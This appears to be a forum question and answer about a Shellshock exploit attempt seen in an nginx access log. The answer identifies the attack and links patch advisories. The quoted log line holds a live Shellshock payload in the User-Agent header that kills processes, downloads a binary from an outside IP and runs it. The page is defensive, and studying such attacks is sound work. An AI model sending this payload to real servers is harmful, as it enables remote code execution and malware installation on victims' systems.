0

I just notice this repeated entry in nginx log:

31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'"

This is attacking gitlab virtualhost, so it don't do any damage. I also don't have any cgi, I use php-fpm for other virtualhost.

I want to know is there any countermeasure that need to be set in the server to defend against similar attacks?

PS: I already set up ip bans using iptables and fail2ban running. My other vps taken over via ssh, so I had to reinstall it again. I'm still in paranoid condition and want to hardening up the vps servers under my control.

1

The string provided does appear to be an attempt to exploit the Shellshock vulnerability. With cgi disabled your attack surface should be reduced.

With regards to countermeasures, patching to address the issue would be the most effective approach. The following links provides guidance on assessing whether your installation is vulnerable, as well as steps to apply the necessary patch to address the issue:

https://about.gitlab.com/2014/09/24/gitlab-shell-and-bash-cve-2014-6271/

https://about.gitlab.com/2014/09/25/gitlab-shell-and-bash-cve-2014-7169/

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.